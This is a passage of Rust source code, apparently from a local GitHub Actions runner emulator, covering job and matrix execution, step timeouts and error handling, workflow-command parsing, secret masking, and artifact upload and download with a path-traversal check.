1977        let remaining = job_deadline.saturating_duration_since(tokio::time::Instant::now());
1978
1979        let outcome = match tokio::time::timeout(
1980            remaining,
1981            run_step_with_guards(
1982                step,
1983                idx,
1984                &job_env,
1985                ctx.workflow,
1986                StepExecutionContext {
1987                    step,
1988                    step_idx: idx,
1989                    job_env: &job_env,
1990                    job_user_env: &job_user_env,
1991                    working_dir: job_dir.path(),
1992                    runtime: ctx.runtime,
1993                    workflow: ctx.workflow,
1994                    runner_image: &runner_image_value,
1995                    verbose: ctx.verbose,
1996                    matrix_combination: &None,
1997                    container_config: job.container.as_ref(),
1998                    workflow_defaults: ctx.workflow.defaults.as_ref(),
1999                    job_defaults: job.defaults.as_ref(),
2000                    step_outputs: &loop_state.step_outputs_map,
2001                    step_statuses: &loop_state.step_status_map,
2002                    job_status: &loop_state.job_status_str,
2003                    services: JobServices {
2004                        secret_manager: ctx.services.secret_manager,
2005                        secret_masker: ctx.services.secret_masker,
2006                        secrets_context: ctx.services.secrets_context,
2007                        needs_context: ctx.services.needs_context,
2008                        needs_results: ctx.services.needs_results,
2009                        artifact_store: ctx.services.artifact_store,
2010                        cache_store: ctx.services.cache_store,
2011                    },
2012                    pending_cache_saves: &pending_cache_saves,
2013                },
2014            ),
2015        )
2016        .await
2017        {
2018            Ok(result) => result?,
2019            Err(_) => {
2020                let msg = format!(
2021                    "Job '{}' exceeded timeout of {} minutes",
2022                    ctx.job_name, timeout_mins
2023                );
2024                wrkflw_logging::error(&msg);
2025                loop_state.job_logs.push_str(&format!("\n{}\n", msg));
2026                job_success = false;
2027                break;
2028            }
2029        };
2030
2031        if loop_state.process_outcome(
2032            outcome,
2033            step,
2034            ctx.verbose,
2035            &mut job_env,
2036            &mut job_user_env,
2037            ctx.services.secret_masker,
2038        ) {
2039            job_success = false;
2040            break;
2041        }
2042    }
2043
2044    // Flush deferred cache saves only on success (matches GHA post-step semantics)
2045    if job_success {
2046        flush_pending_cache_saves(&pending_cache_saves, ctx.services.cache_store).await;
2047    }
2048
2049    // Resolve job outputs from step outputs (GHA jobs.*.outputs map expressions to step outputs)
2050    let job_outputs = resolve_job_outputs(
2051        job,
2052        &loop_state.step_outputs_map,
2053        &loop_state.step_status_map,
2054        &job_env,
2055        &job_user_env,
2056        &loop_state.job_status_str,
2057        &current_dir,
2058    );
2059
2060    Ok(JobResult {
2061        name: ctx.job_name.to_string(),
2062        canonical_name: ctx.job_name.to_string(),
2063        status: if job_success {
2064            JobStatus::Success
2065        } else {
2066            JobStatus::Failure
2067        },
2068        steps: loop_state.step_results,
2069        logs: loop_state.job_logs,
2070        outputs: job_outputs,
2071    })
2072}
2073
2074// Before the execute_matrix_combinations function, add this struct
2075struct MatrixExecutionContext<'a> {
2076    job_name: &'a str,
2077    job_template: &'a Job,
2078    combinations: &'a [MatrixCombination],
2079    max_parallel: usize,
2080    fail_fast: bool,
2081    workflow: &'a WorkflowDefinition,
2082    runtime: &'a dyn ContainerRuntime,
2083    env_context: &'a HashMap<String, String>,
2084    /// Workflow-level user-declared env, threaded in from `JobExecutionContext`.
2085    user_env: &'a HashMap<String, String>,
2086    verbose: bool,
2087    services: JobServices<'a>,
2088}
2089
2090/// Execute a set of matrix combinations
2091async fn execute_matrix_combinations(
2092    ctx: MatrixExecutionContext<'_>,
2093) -> Result<Vec<JobResult>, ExecutionError> {
2094    let mut results = Vec::new();
2095    let mut any_failed = false;
2096
2097    // Process combinations in chunks limited by max_parallel
2098    for chunk in ctx.combinations.chunks(ctx.max_parallel) {
2099        // Skip processing if fail-fast is enabled and a previous job failed
2100        if ctx.fail_fast && any_failed {
2101            // Add skipped results for remaining combinations
2102            for combination in chunk {
2103                let combination_name =
2104                    wrkflw_matrix::format_combination_name(ctx.job_name, combination);
2105                results.push(JobResult {
2106                    name: combination_name,
2107                    canonical_name: ctx.job_name.to_string(),
2108                    status: JobStatus::Skipped,
2109                    steps: Vec::new(),
2110                    logs: "Job skipped due to previous matrix job failure".to_string(),
2111                    outputs: HashMap::new(),
2112                });
2113            }
2114            continue;
2115        }
2116
2117        // Process this chunk of combinations in parallel
2118        let chunk_futures = chunk.iter().map(|combination| {
2119            execute_matrix_job(
2120                ctx.job_name,
2121                ctx.job_template,
2122                combination,
2123                ctx.workflow,
2124                ctx.runtime,
2125                ctx.env_context,
2126                ctx.user_env,
2127                ctx.verbose,
2128                &ctx.services,
2129            )
2130        });
2131
2132        let chunk_results = future::join_all(chunk_futures).await;
2133
2134        // Process results from this chunk
2135        for result in chunk_results {
2136            match result {
2137                Ok(job_result) => {
2138                    if job_result.status == JobStatus::Failure {
2139                        any_failed = true;
2140                    }
2141                    results.push(job_result);
2142                }
2143                Err(e) => {
2144                    // On error, mark as failed and continue if not fail-fast
2145                    any_failed = true;
2146                    wrkflw_logging::error(&format!("Matrix job failed: {}", e));
2147
2148                    if ctx.fail_fast {
2149                        return Err(e);
2150                    }
2151                }
2152            }
2153        }
2154    }
2155
2156    Ok(results)
2157}
2158
2159/// Execute a single matrix job combination
2160#[allow(clippy::too_many_arguments)]
2161async fn execute_matrix_job(
2162    job_name: &str,
2163    job_template: &Job,
2164    combination: &MatrixCombination,
2165    workflow: &WorkflowDefinition,
2166    runtime: &dyn ContainerRuntime,
2167    base_env_context: &HashMap<String, String>,
2168    base_user_env: &HashMap<String, String>,
2169    verbose: bool,
2170    services: &JobServices<'_>,
2171) -> Result<JobResult, ExecutionError> {
2172    // Create the matrix-specific job name
2173    let matrix_job_name = wrkflw_matrix::format_combination_name(job_name, combination);
2174
2175    wrkflw_logging::info(&format!("Executing matrix job: {}", matrix_job_name));
2176
2177    // Clone the environment and add matrix-specific values.
2178    // `job_env` is the full lookup map; `job_user_env` mirrors the user slice.
2179    // Matrix-derived `MATRIX_*` vars and `MATRIX_CONTEXT` are runner-internal —
2180    // they belong in job_env only, not user_env (they surface via `toJSON(matrix)`).
2181    let mut job_env = base_env_context.clone();
2182    let mut job_user_env = base_user_env.clone();
2183    environment::add_matrix_context(&mut job_env, combination);
2184
2185    // Add container-level environment variables (lowest precedence). User-declared.
2186    if let Some(ref container) = job_template.container {
2187        warn_unsupported_container_fields(container);
2188        for (key, value) in &container.env {
2189            if !job_env.contains_key(key) {
2190                job_env.insert(key.clone(), value.clone());
2191                job_user_env.insert(key.clone(), value.clone());
2192            }
2193        }
2194    }
2195
2196    // Add job-level environment variables (overrides container env).
2197    // Substitute ${{ matrix.* }} and other expression references in env values
2198    // so that e.g. `MY_VAR: ${{ matrix.os }}` resolves correctly.
2199    // We collect resolved values first to avoid borrowing job_env while mutating it.
2200    {
2201        let matrix_opt = Some(combination.values.clone());
2202        let env_expr_ctx = crate::expression::ExpressionContext {
2203            env_context: &job_env,
2204            step_outputs: &HashMap::new(),
2205            matrix_combination: &matrix_opt,
2206            step_statuses: &HashMap::new(),
2207            job_status: "success",
2208            secrets_context: services.secrets_context,
2209            needs_context: services.needs_context,
2210            needs_results: services.needs_results,
2211            user_env: &job_user_env,
2212        };
2213        let cwd = std::env::current_dir().map_err(|e| {
2214            ExecutionError::Execution(format!("Failed to get current directory: {}", e))
2215        })?;
2216        let resolved_env: Vec<(String, String)> = job_template
2217            .env
2218            .iter()
2219            .map(|(key, value)| {
2220                let resolved =
2221                    crate::substitution::preprocess_expressions(value, &cwd, &env_expr_ctx)
2222                        .unwrap_or_else(|_| value.clone());
2223                (key.clone(), resolved)
2224            })
2225            .collect();
2226        for (key, value) in resolved_env {
2227            job_env.insert(key.clone(), value.clone());
2228            job_user_env.insert(key, value);
2229        }
2230    }
2231
2232    // Create a temporary directory for this job execution
2233    let job_dir = tempfile::tempdir()
2234        .map_err(|e| ExecutionError::Execution(format!("Failed to create job directory: {}", e)))?;
2235
2236    // Get the current project directory
2237    let current_dir = std::env::current_dir().map_err(|e| {
2238        ExecutionError::Execution(format!("Failed to get current directory: {}", e))
2239    })?;
2240
2241    let mut loop_state = StepLoopState::new();
2242    let pending_cache_saves = std::sync::Mutex::new(Vec::<PendingCacheSave>::new());
2243    let job_success = if job_template.steps.is_empty() {
2244        wrkflw_logging::warning(&format!("Job '{}' has no steps", matrix_job_name));
2245        true
2246    } else {
2247        // Execute each step
2248        // Determine runner image: prefer job container, then detect setup actions, fall back to runs-on
2249        let runner_image_value = resolve_runner_image(job_template, runtime).await?;
2250
2251        let mut all_steps_ok = true;
2252        let timeout_mins = sanitize_timeout_minutes(job_template.timeout_minutes, 360.0);
2253        let job_timeout = std::time::Duration::from_secs_f64(timeout_mins * 60.0);
2254        let job_deadline = tokio::time::Instant::now() + job_timeout;
2255
2256        for (idx, step) in job_template.steps.iter().enumerate() {
2257            let remaining = job_deadline.saturating_duration_since(tokio::time::Instant::now());
2258
2259            let outcome = match tokio::time::timeout(
2260                remaining,
2261                run_step_with_guards(
2262                    step,
2263                    idx,
2264                    &job_env,
2265                    workflow,
2266                    StepExecutionContext {
2267                        step,
2268                        step_idx: idx,
2269                        job_env: &job_env,
2270                        job_user_env: &job_user_env,
2271                        working_dir: job_dir.path(),
2272                        runtime,
2273                        workflow,
2274                        runner_image: &runner_image_value,
2275                        verbose,
2276                        matrix_combination: &Some(combination.values.clone()),
2277                        container_config: job_template.container.as_ref(),
2278                        workflow_defaults: workflow.defaults.as_ref(),
2279                        job_defaults: job_template.defaults.as_ref(),
2280                        step_outputs: &loop_state.step_outputs_map,
2281                        step_statuses: &loop_state.step_status_map,
2282                        job_status: &loop_state.job_status_str,
2283                        services: JobServices {
2284                            secret_manager: services.secret_manager,
2285                            secret_masker: services.secret_masker,
2286                            secrets_context: services.secrets_context,
2287                            needs_context: services.needs_context,
2288                            needs_results: services.needs_results,
2289                            artifact_store: services.artifact_store,
2290                            cache_store: services.cache_store,
2291                        },
2292                        pending_cache_saves: &pending_cache_saves,
2293                    },
2294                ),
2295            )
2296            .await
2297            {
2298                Ok(result) => result?,
2299                Err(_) => {
2300                    let msg = format!(
2301                        "Job '{}' exceeded timeout of {} minutes",
2302                        matrix_job_name, timeout_mins
2303                    );
2304                    wrkflw_logging::error(&msg);
2305                    loop_state.job_logs.push_str(&format!("\n{}\n", msg));
2306                    all_steps_ok = false;
2307                    break;
2308                }
2309            };
2310
2311            if loop_state.process_outcome(
2312                outcome,
2313                step,
2314                verbose,
2315                &mut job_env,
2316                &mut job_user_env,
2317                services.secret_masker,
2318            ) {
2319                all_steps_ok = false;
2320                break;
2321            }
2322        }
2323
2324        all_steps_ok
2325    };
2326
2327    // Flush deferred cache saves only on success (matches GHA post-step semantics)
2328    if job_success {
2329        flush_pending_cache_saves(&pending_cache_saves, services.cache_store).await;
2330    }
2331
2332    // Resolve job outputs from step outputs
2333    let job_outputs = resolve_job_outputs(
2334        job_template,
2335        &loop_state.step_outputs_map,
2336        &loop_state.step_status_map,
2337        &job_env,
2338        &job_user_env,
2339        &loop_state.job_status_str,
2340        &current_dir,
2341    );
2342
2343    // Return job result
2344    Ok(JobResult {
2345        name: matrix_job_name,
2346        canonical_name: job_name.to_string(),
2347        status: if job_success {
2348            JobStatus::Success
2349        } else {
2350            JobStatus::Failure
2351        },
2352        steps: loop_state.step_results,
2353        logs: loop_state.job_logs,
2354        outputs: job_outputs,
2355    })
2356}
2357
2358/// Outcome of a single step after guards (if-condition, continue-on-error) are applied.
2359enum StepOutcome {
2360    /// Step ran (or was skipped). Contains the result and whether the job should abort.
2361    Completed { result: StepResult, abort_job: bool },
2362    /// Step was skipped due to an if-condition.
2363    Skipped(StepResult),
2364}
2365
2366/// A deferred cache save: key + relative path + workspace.
2367/// Recorded during `actions/cache` on a miss and flushed at end-of-job,
2368/// matching GitHub Actions' post-step save semantics.
2369struct PendingCacheSave {
2370    key: String,
2371    path: String,
2372    workspace: std::path::PathBuf,
2373}
2374
2375/// Shared services and resolved context passed through the job/step execution hierarchy.
2376///
2377/// Groups secret management, artifact/cache stores, pre-resolved secrets, and
2378/// upstream job context into a single struct to reduce parameter count.
2379pub(crate) struct JobServices<'a> {
2380    /// Secret manager for resolving secrets.
2381    pub secret_manager: Option<&'a SecretManager>,
2382    /// Secret masker for redacting secrets in output.
2383    pub secret_masker: Option<&'a SecretMasker>,
2384    /// Pre-resolved secrets for expression context (resolved once per job).
2385    pub secrets_context: &'a HashMap<String, String>,
2386    /// Job outputs from upstream jobs: `job_name -> { output_key -> output_value }`.
2387    pub needs_context: &'a HashMap<String, HashMap<String, String>>,
2388    /// Job results from upstream jobs: `job_name -> "success" | "failure" | "skipped"`.
2389    pub needs_results: &'a HashMap<String, String>,
2390    /// Artifact store shared across the workflow run.
2391    pub artifact_store: &'a crate::artifacts::ArtifactStore,
2392    /// Cache store shared across the workflow run (persistent across runs).
2393    pub cache_store: &'a crate::cache::CacheStore,
2394}
2395
2396/// Flush pending cache saves. Called at end-of-job only when the job succeeded,
2397/// matching GitHub Actions' behavior where `actions/cache` saves in a post-step
2398/// hook that only runs after all steps complete and the job succeeds.
2399async fn flush_pending_cache_saves(
2400    pending: &std::sync::Mutex<Vec<PendingCacheSave>>,
2401    cache_store: &crate::cache::CacheStore,
2402) {
2403    let saves = {
2404        let mut guard = pending.lock().unwrap_or_else(|e| e.into_inner());
2405        std::mem::take(&mut *guard)
2406    };
2407    for save in saves {
2408        match cache_store
2409            .save(&save.key, &save.path, &save.workspace)
2410            .await
2411        {
2412            Ok(()) => {
2413                wrkflw_logging::info(&format!(
2414                    "  Cache saved path '{}' with key '{}'",
2415                    save.path, save.key
2416                ));
2417            }
2418            Err(e) => {
2419                wrkflw_logging::warning(&format!(
2420                    "  Failed to save cache key '{}': {}",
2421                    save.key, e
2422                ));
2423            }
2424        }
2425    }
2426}
2427
2428/// Mutable state accumulated during a step loop.
2429///
2430/// Shared between `execute_job` and `execute_matrix_job` to avoid duplicating
2431/// the post-outcome processing logic (status tracking, workflow commands, env
2432/// file application, logging).
2433struct StepLoopState {
2434    step_results: Vec<StepResult>,
2435    job_logs: String,
2436    step_outputs_map: HashMap<String, HashMap<String, String>>,
2437    step_status_map: HashMap<String, (String, String)>,
2438    job_status_str: String,
2439}
2440
2441impl StepLoopState {
2442    fn new() -> Self {
2443        Self {
2444            step_results: Vec::new(),
2445            job_logs: String::new(),
2446            step_outputs_map: HashMap::new(),
2447            step_status_map: HashMap::new(),
2448            job_status_str: "success".to_string(),
2449        }
2450    }
2451
2452    /// Process one step outcome: record status, log, parse workflow commands,
2453    /// apply environment file updates. Returns `true` if the job should abort.
2454    fn process_outcome(
2455        &mut self,
2456        outcome: StepOutcome,
2457        step: &workflow::Step,
2458        verbose: bool,
2459        job_env: &mut HashMap<String, String>,
2460        job_user_env: &mut HashMap<String, String>,
2461        secret_masker: Option<&SecretMasker>,
2462    ) -> bool {
2463        match outcome {
2464            StepOutcome::Skipped(result) => {
2465                record_step_status(
2466                    step.id.as_deref(),
2467                    &result,
2468                    &mut self.step_status_map,
2469                    &mut self.job_status_str,
2470                );
2471                self.step_results.push(result);
2472                false
2473            }
2474            StepOutcome::Completed { result, abort_job } => {
2475                record_step_status(
2476                    step.id.as_deref(),
2477                    &result,
2478                    &mut self.step_status_map,
2479                    &mut self.job_status_str,
2480                );
2481
2482                if verbose || result.status == StepStatus::Failure {
2483                    self.job_logs.push_str(&format!(
2484                        "\n=== Output from step '{}' ===\n{}\n=== End output ===\n\n",
2485                        result.name, result.output
2486                    ));
2487                } else {
2488                    self.job_logs.push_str(&format!(
2489                        "Step '{}' completed with status: {:?}\n",
2490                        result.name, result.status
2491                    ));
2492                }
2493
2494                process_workflow_commands(
2495                    &result.output,
2496                    step.id.as_deref(),
2497                    &mut self.step_outputs_map,
2498                    secret_masker,
2499                );
2500
2501                self.step_results.push(result);
2502
2503                crate::github_env_files::apply_step_environment_updates(
2504                    job_env,
2505                    job_user_env,
2506                    &mut self.step_outputs_map,
2507                    step.id.as_deref(),
2508                );
2509
2510                abort_job
2511            }
2512        }
2513    }
2514}
2515
2516/// Record a step's outcome/conclusion in the status tracking map and update job status.
2517fn record_step_status(
2518    step_id: Option<&str>,
2519    result: &StepResult,
2520    step_status_map: &mut HashMap<String, (String, String)>,
2521    job_status_str: &mut String,
2522) {
2523    if let Some(id) = step_id {
2524        step_status_map.insert(
2525            id.to_string(),
2526            (result.outcome.to_string(), result.conclusion.to_string()),
2527        );
2528    }
2529    if result.conclusion == StepStatus::Failure {
2530        *job_status_str = "failure".to_string();
2531    }
2532}
2533
2534/// Parse workflow commands from step output and apply their effects.
2535///
2536/// Handles the deprecated `::set-output::` command (populates `step_outputs_map`),
2537/// annotation commands (`::error::`, `::warning::`, `::notice::`, `::debug::`),
2538/// and `::add-mask::` (adds value to the `SecretMasker` for future output masking).
2539fn process_workflow_commands(
2540    output: &str,
2541    step_id: Option<&str>,
2542    step_outputs_map: &mut HashMap<String, HashMap<String, String>>,
2543    secret_masker: Option<&SecretMasker>,
2544) {
2545    let commands = crate::workflow_commands::parse_workflow_commands(output);
2546    for cmd in commands {
2547        match cmd {
2548            crate::workflow_commands::WorkflowCommand::SetOutput { name, value } => {
2549                if let Some(id) = step_id {
2550                    step_outputs_map
2551                        .entry(id.to_string())
2552                        .or_default()
2553                        .insert(name, value);
2554                }
2555            }
2556            crate::workflow_commands::WorkflowCommand::Error {
2557                message,
2558                file,
2559                line,
2560                col,
2561                ..
2562            } => {
2563                let loc = format_annotation_location(file.as_deref(), line, col);
2564                wrkflw_logging::error(&format!("{}{}", loc, message));
2565            }
2566            crate::workflow_commands::WorkflowCommand::Warning {
2567                message,
2568                file,
2569                line,
2570                col,
2571                ..
2572            } => {
2573                let loc = format_annotation_location(file.as_deref(), line, col);
2574                wrkflw_logging::warning(&format!("{}{}", loc, message));
2575            }
2576            crate::workflow_commands::WorkflowCommand::Notice {
2577                message,
2578                file,
2579                line,
2580                col,
2581                ..
2582            } => {
2583                let loc = format_annotation_location(file.as_deref(), line, col);
2584                wrkflw_logging::info(&format!("{}{}", loc, message));
2585            }
2586            crate::workflow_commands::WorkflowCommand::Debug { message } => {
2587                wrkflw_logging::debug(&format!("[debug] {}", message));
2588            }
2589            crate::workflow_commands::WorkflowCommand::AddMask { value } => {
2590                if let Some(masker) = secret_masker {
2591                    masker.add_secret(value);
2592                }
2593                wrkflw_logging::debug("::add-mask:: applied (value redacted)");
2594            }
2595            // Group, EndGroup, SaveState — no-ops for now
2596            _ => {}
2597        }
2598    }
2599}
2600
2601fn format_annotation_location(file: Option<&str>, line: Option<u32>, col: Option<u32>) -> String {
2602    match (file, line, col) {
2603        (Some(f), Some(l), Some(c)) => format!("{}:{}:{}: ", f, l, c),
2604        (Some(f), Some(l), None) => format!("{}:{}: ", f, l),
2605        (Some(f), None, None) => format!("{}: ", f),
2606        _ => String::new(),
2607    }
2608}
2609
2610/// Run a step with if-condition and continue-on-error guards.
2611/// Returns the step result and whether the job should be aborted.
2612async fn run_step_with_guards(
2613    step: &Step,
2614    step_idx: usize,
2615    job_env: &HashMap<String, String>,
2616    workflow: &WorkflowDefinition,
2617    step_exec_ctx: StepExecutionContext<'_>,
2618) -> Result<StepOutcome, ExecutionError> {
2619    let step_name = step
2620        .name
2621        .clone()
2622        .unwrap_or_else(|| format!("Step {}", step_idx + 1));
2623
2624    // Check step-level if condition
2625    if let Some(if_cond) = &step.if_condition {
2626        let cond_ctx = step_exec_ctx.expr_context();
2627        let should_run = evaluate_condition_with_context(if_cond, &cond_ctx);
2628        if !should_run {
2629            wrkflw_logging::info(&format!(
2630                "  {} Skipping step '{}' due to condition: {}",
2631                wrkflw_logging::symbols::SKIPPED,
2632                step_name,
2633                if_cond
2634            ));
2635            return Ok(StepOutcome::Skipped(StepResult::new(
2636                step_name,
2637                StepStatus::Skipped,
2638                format!("Skipped due to condition: {}", if_cond),
2639            )));
2640        }
2641    }
2642
2643    // Wrap step execution with optional step-level timeout; sanitize to avoid panic on negative/NaN.
2644    // Note: the job-level timeout already wraps the entire step execution, so the step
2645    // timeout only fires when it is shorter than the remaining job time.
2646    let step_result = if let Some(minutes) = step.timeout_minutes {
2647        let safe_mins = sanitize_timeout_minutes(Some(minutes), 360.0);
2648        let dur = std::time::Duration::from_secs_f64(safe_mins * 60.0);
2649        match tokio::time::timeout(dur, execute_step(step_exec_ctx)).await {
2650            Ok(result) => result,
2651            Err(_) => {
2652                wrkflw_logging::error(&format!(
2653                    "  Step '{}' exceeded timeout of {} minutes",
2654                    step_name, minutes
2655                ));
2656                Ok(StepResult::new(
2657                    step_name.clone(),
2658                    StepStatus::Failure,
2659                    format!("Step timed out after {} minutes", minutes),
2660                ))
2661            }
2662        }
2663    } else {
2664        execute_step(step_exec_ctx).await
2665    };
2666
2667    // Apply continue-on-error semantics and set outcome/conclusion:
2668    //   outcome  = raw result (before continue-on-error)
2669    //   conclusion = effective result (after continue-on-error)
2670    match step_result {
2671        Ok(mut result) => {
2672            let (abort_job, conclusion) = if result.status == StepStatus::Failure {
2673                if step.continue_on_error == Some(true) {
2674                    wrkflw_logging::info(&format!(
2675                        "  Step '{}' failed but continue-on-error is set, continuing",
2676                        result.name
2677                    ));
2678                    (false, StepStatus::Success)
2679                } else {
2680                    (true, StepStatus::Failure)
2681                }
2682            } else {
2683                (false, result.status)
2684            };
2685            result.outcome = result.status;
2686            result.conclusion = conclusion;
2687            Ok(StepOutcome::Completed { result, abort_job })
2688        }
2689        Err(e) => {
2690            let (abort_job, conclusion) = if step.continue_on_error == Some(true) {
2691                wrkflw_logging::info(&format!(
2692                    "  Step '{}' errored but continue-on-error is set, continuing",
2693                    step_name
2694                ));
2695                (false, StepStatus::Success)
2696            } else {
2697                (true, StepStatus::Failure)
2698            };
2699            Ok(StepOutcome::Completed {
2700                result: StepResult {
2701                    name: step_name,
2702                    status: StepStatus::Failure,
2703                    output: format!("Error: {}", e),
2704                    outcome: StepStatus::Failure,
2705                    conclusion,
2706                },
2707                abort_job,
2708            })
2709        }
2710    }
2711}
2712
2713/// Sanitize a timeout-minutes value, returning a safe positive finite number.
2714/// Falls back to `default` for `None`, `NaN`, `Infinity`, zero, or negative values.
2715/// Clamps to a maximum of 8640 minutes (6 days).
2716fn sanitize_timeout_minutes(raw: Option<f64>, default: f64) -> f64 {
2717    let mins = raw.unwrap_or(default);
2718    if mins.is_finite() && mins > 0.0 {
2719        mins.min(360.0 * 24.0)
2720    } else {
2721        default
2722    }
2723}
2724
2725// Before the execute_step function, add this struct
2726struct StepExecutionContext<'a> {
2727    step: &'a workflow::Step,
2728    step_idx: usize,
2729    job_env: &'a HashMap<String, String>,
2730    /// Job-level user-declared env (workflow.env ∪ container.env ∪ job.env, plus
2731    /// any `$GITHUB_ENV` writes from prior steps). Excludes runner-seeded vars.
2732    /// Consumed by `toJSON(env)` via `ExpressionContext::user_env`.
2733    job_user_env: &'a HashMap<String, String>,
2734    working_dir: &'a Path,
2735    runtime: &'a dyn ContainerRuntime,
2736    workflow: &'a WorkflowDefinition,
2737    runner_image: &'a str,
2738    verbose: bool,
2739    #[allow(dead_code)]
2740    matrix_combination: &'a Option<HashMap<String, Value>>,
2741    container_config: Option<&'a JobContainer>,
2742    workflow_defaults: Option<&'a workflow::Defaults>,
2743    job_defaults: Option<&'a workflow::Defaults>,
2744    step_outputs: &'a HashMap<String, HashMap<String, String>>,
2745    step_statuses: &'a HashMap<String, (String, String)>,
2746    job_status: &'a str,
2747    services: JobServices<'a>,
2748    /// Collects deferred `actions/cache` saves, flushed at end-of-job on success.
2749    pending_cache_saves: &'a std::sync::Mutex<Vec<PendingCacheSave>>,
2750}
2751
2752impl<'a> StepExecutionContext<'a> {
2753    /// Build an `ExpressionContext` from this step context.
2754    fn expr_context(&self) -> crate::expression::ExpressionContext<'_> {
2755        crate::expression::ExpressionContext {
2756            env_context: self.job_env,
2757            step_outputs: self.step_outputs,
2758            matrix_combination: self.matrix_combination,
2759            step_statuses: self.step_statuses,
2760            job_status: self.job_status,
2761            secrets_context: self.services.secrets_context,
2762            needs_context: self.services.needs_context,
2763            needs_results: self.services.needs_results,
2764            user_env: self.job_user_env,
2765        }
2766    }
2767
2768    /// Build an `ExpressionContext` using a custom env + matching user_env
2769    /// (e.g. partially-built step env). Both must cover the same merge layer —
2770    /// `env` is env_context (runner + user union), `user_env` is the user slice.
2771    fn expr_context_with_env<'e>(
2772        &self,
2773        env: &'e HashMap<String, String>,
2774        user_env: &'e HashMap<String, String>,
2775    ) -> crate::expression::ExpressionContext<'e>
2776    where
2777        'a: 'e,
2778    {
2779        crate::expression::ExpressionContext {
2780            env_context: env,
2781            step_outputs: self.step_outputs,
2782            matrix_combination: self.matrix_combination,
2783            step_statuses: self.step_statuses,
2784            job_status: self.job_status,
2785            secrets_context: self.services.secrets_context,
2786            needs_context: self.services.needs_context,
2787            needs_results: self.services.needs_results,
2788            user_env,
2789        }
2790    }
2791}
2792
2793/// Resolve `${{ }}` expressions in an action `with` parameter value.
2794///
2795/// On expression error, returns empty string (matching GitHub Actions behavior
2796/// where unresolvable expressions resolve to empty).
2797fn preprocess_with_value(value: &str, ctx: &StepExecutionContext<'_>) -> String {
2798    let expr_ctx = ctx.expr_context();
2799    crate::substitution::preprocess_expressions(value, ctx.working_dir, &expr_ctx)
2800        .unwrap_or_default()
2801}
2802
2803/// Handle `actions/upload-artifact` emulation.
2804async fn handle_upload_artifact(
2805    step_name: &str,
2806    ctx: &StepExecutionContext<'_>,
2807) -> Result<StepResult, ExecutionError> {
2808    let with = ctx.step.with.as_ref();
2809    let name = with
2810        .and_then(|w| w.get("name"))
2811        .map(|s| preprocess_with_value(s, ctx))
2812        .unwrap_or_else(|| "artifact".to_string());
2813    let path_pattern = with
2814        .and_then(|w| w.get("path"))
2815        .map(|s| preprocess_with_value(s, ctx))
2816        .unwrap_or_default();
2817
2818    if path_pattern.is_empty() {
2819        return Ok(StepResult::new(
2820            step_name.to_string(),
2821            StepStatus::Failure,
2822            "Required input 'path' not provided for upload-artifact".to_string(),
2823        ));
2824    }
2825
2826    match ctx
2827        .services
2828        .artifact_store
2829        .upload(&name, &path_pattern, ctx.working_dir)
2830        .await
2831    {
2832        Ok(count) => {
2833            wrkflw_logging::info(&format!(
2834                "  Uploaded artifact '{}': {} file(s)",
2835                name, count
2836            ));
2837            Ok(StepResult::new(
2838                step_name.to_string(),
2839                StepStatus::Success,
2840                format!("Uploaded artifact '{}': {} file(s)", name, count),
2841            ))
2842        }
2843        Err(e) => Ok(StepResult::new(
2844            step_name.to_string(),
2845            StepStatus::Failure,
2846            format!("Failed to upload artifact '{}': {}", name, e),
2847        )),
2848    }
2849}
2850
2851/// Handle `actions/download-artifact` emulation.
2852async fn handle_download_artifact(
2853    step_name: &str,
2854    ctx: &StepExecutionContext<'_>,
2855) -> Result<StepResult, ExecutionError> {
2856    let with = ctx.step.with.as_ref();
2857    let name = with
2858        .and_then(|w| w.get("name"))
2859        .map(|s| preprocess_with_value(s, ctx))
2860        .unwrap_or_default();
2861    let download_path = with
2862        .and_then(|w| w.get("path"))
2863        .map(|s| ctx.working_dir.join(preprocess_with_value(s, ctx)))
2864        .unwrap_or_else(|| ctx.working_dir.to_path_buf());
2865
2866    // Validate download path stays within workspace (prevent path traversal).
2867    // If we cannot canonicalize the workspace itself, reject — a non-absolute
2868    // or non-existent workspace makes the safety check meaningless.
2869    let canonical_ws = match ctx.working_dir.canonicalize() {
2870        Ok(p) => p,
2871        Err(_) => {
2872            return Ok(StepResult::new(
2873                step_name.to_string(),
2874                StepStatus::Failure,
2875                format!(
2876                    "download-artifact: cannot verify path safety — \
2877                     workspace '{}' could not be canonicalized",
2878                    ctx.working_dir.display()
2879                ),
2880            ));
2881        }
2882    };
2883    let is_safe = if let Ok(canonical_dl) = download_path.canonicalize() {
2884        canonical_dl.starts_with(&canonical_ws)
2885    } else if let Some(parent) = download_path.parent() {
2886        parent
2887            .canonicalize()
2888            .map(|p| p.starts_with(&canonical_ws))
2889            .unwrap_or(false)
2890    } else {
2891        false
2892    };
2893    if !is_safe {
2894        return Ok(StepResult::new(
2895            step_name.to_string(),
2896            StepStatus::Failure,
2897            format!(
2898                "download-artifact path '{}' escapes workspace directory",
2899                download_path.display()
2900            ),
2901        ));
2902    }
2903
2904    if name.is_empty() {
2905        // Download all artifacts into named subdirectories
2906        let names = ctx.services.artifact_store.list().await;
2907        let mut total = 0;
2908        for artifact_name in &names {
2909            let target = download_path.join(artifact_name);
2910            match ctx
2911                .services
2912                .artifact_store
2913                .download(artifact_name, &target)
2914                .await
2915            {
2916                Ok(c) => total += c,
2917                Err(e) => {
2918                    return Ok(StepResult::new(
2919                        step_name.to_string(),
2920                        StepStatus::Failure,
2921                        format!("Failed to download artifact '{}': {}", artifact_name, e),
2922                    ));
2923                }
2924            }
2925        }
2926        wrkflw_logging::info(&format!(
2927            "  Downloaded {} artifact(s), {} file(s) total",
2928            names.len(),
2929            total
2930        ));
2931        Ok(StepResult::new(
2932            step_name.to_string(),
2933            StepStatus::Success,
2934            format!(
2935                "Downloaded {} artifact(s), {} file(s) total",
2936                names.len(),
2937                total
2938            ),
2939        ))
2940    } else {
2941        match ctx
2942            .services
2943            .artifact_store
2944            .download(&name, &download_path)
2945            .await
2946        {
2947            Ok(count) => {
2948                wrkflw_logging::info(&format!(
2949                    "  Downloaded artifact '{}': {} file(s)",
2950                    name, count
2951                ));
2952                Ok(StepResult::new(
2953                    step_name.to_string(),
2954                    StepStatus::Success,
2955                    format!("Downloaded artifact '{}': {} file(s)", name, count),
2956                ))
2957            }
2958            Err(e) => Ok(StepResult::new(
2959                step_name.to_string(),
2960                StepStatus::Failure,
2961                format!("Failed to download artifact '{}': {}", name, e),
2962            )),
2963        }
2964    }
2965}
2966
2967/// Handle `actions/cache` emulation.
2968async fn handle_cache_action(
2969    step_name: &str,
2970    ctx: &StepExecutionContext<'_>,
